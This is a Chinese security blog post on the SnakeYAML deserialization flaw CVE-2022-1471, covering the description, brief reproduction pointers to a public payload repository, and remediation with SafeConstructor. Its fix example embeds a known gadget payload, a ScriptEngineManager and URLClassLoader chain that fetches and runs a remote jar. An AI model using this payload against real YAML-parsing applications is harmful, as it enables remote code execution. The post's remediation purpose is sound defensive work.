组件风险分析与修复指引:snakeyaml组件安全风险

2024-06-08 405 0

依赖坐标

组件风险分析与修复指引:snakeyaml组件安全风险插图

漏洞风险——SnakeYAML 代码问题漏洞

CNNVD-202212-1820

CVE-2022-1471

漏洞描述

SnakeYAML是一款基于Java的YAML解析器。

SnakeYaml存在代码问题漏洞,该漏洞源于不限制在反序列化期间可以实例化的类型。攻击者利用该漏洞可以远程执行代码。

参考方案:

  • 目前厂商已发布升级补丁以修复漏洞,补丁获取链接:

https://github.com/google/security-research/security/advisories/GHSA-mjmj-j48q-9wg2

漏洞复现

https://github.com/artsploit/yaml-payload/

按照github上面给的方式编译,修改一下命令即可

然后起一个web服务

漏洞修复

http://www.hackdig.com/08/hack-745366.htm

这个漏洞涉及全版本,只要反序列化内容可控,那么就可以去进行反序列化攻击

修复方案:加入new SafeConstructor()类进行过滤

package Snake;

import org.yaml.snakeyaml.Yaml;

import org.yaml.snakeyaml.constructor.SafeConstructor;

public class snaketest {

public static void main(String[] args) {

String context = "!!javax.script.ScriptEngineManager [\n" +

" !!java.net.URLClassLoader [[\n" +

" !!java.net.URL [\"http://127.0.0.1:9000/yaml-payload.jar\"]\n" +

" ]]\n" +

"]";

Yaml yaml = new Yaml(new SafeConstructor());

yaml.load(context);

}

}

如果没有 SafeConstructor,yaml.load将调用对象的无参数构造函数,这对于类路径中的某些类来说可能是一件坏事。使用 SafeConstructor,只有 SafeConstructornested classes( Java code) 将永远被调用。

例外修复分析(打补丁)

YAML是JSON的一个超集,也是一种方便的定义层次配置数据的格式。 将SnakeYAML库放到classpath下,Spring Boot都会自动支持YAML作为properties的替换。

如果你使用starter POMs,spring-boot-starter会自动提供snakeYAML,这就意味着在绝大部分情况下YAML的支持都是默认提供的。

此时,认为snakeyaml的使用场景仅接收可信的数据源(如springboot默认加载ym配置文件的情况),因此不认为cve-2022-1471是漏洞。

这里建议开发人员排查snakeyaml的使用情况,若:

SnakeYaml通常使用方法如下:

new Yaml(new Constructor(TestDataClass.class)).load(yamlContent);

这时,则需要进行修复

默认情况下,SnakeYaml在解析用户提供恶意yamlContent时,即使yamlContent不满足TestDataClass类型,也会执行恶意代码。

判断是否接收外部数据,并加入new SafeConstructor()类进行过滤,如下:

Yaml yaml = new Yaml(new SafeConstructor());


4A评测 - 免责申明

本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。

不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。

本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。

如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!

程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。

侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)

相关文章

webpack打包站点,js文件名批量获取思路
加密对抗靶场enctypt——labs通关
【论文速读】| 注意力是实现基于大语言模型的代码漏洞定位的关键
蓝队技术——Sysmon识别检测宏病毒
内网渗透学习|powershell上线cs
LLM attack中的API调用安全问题及靶场实践

发布评论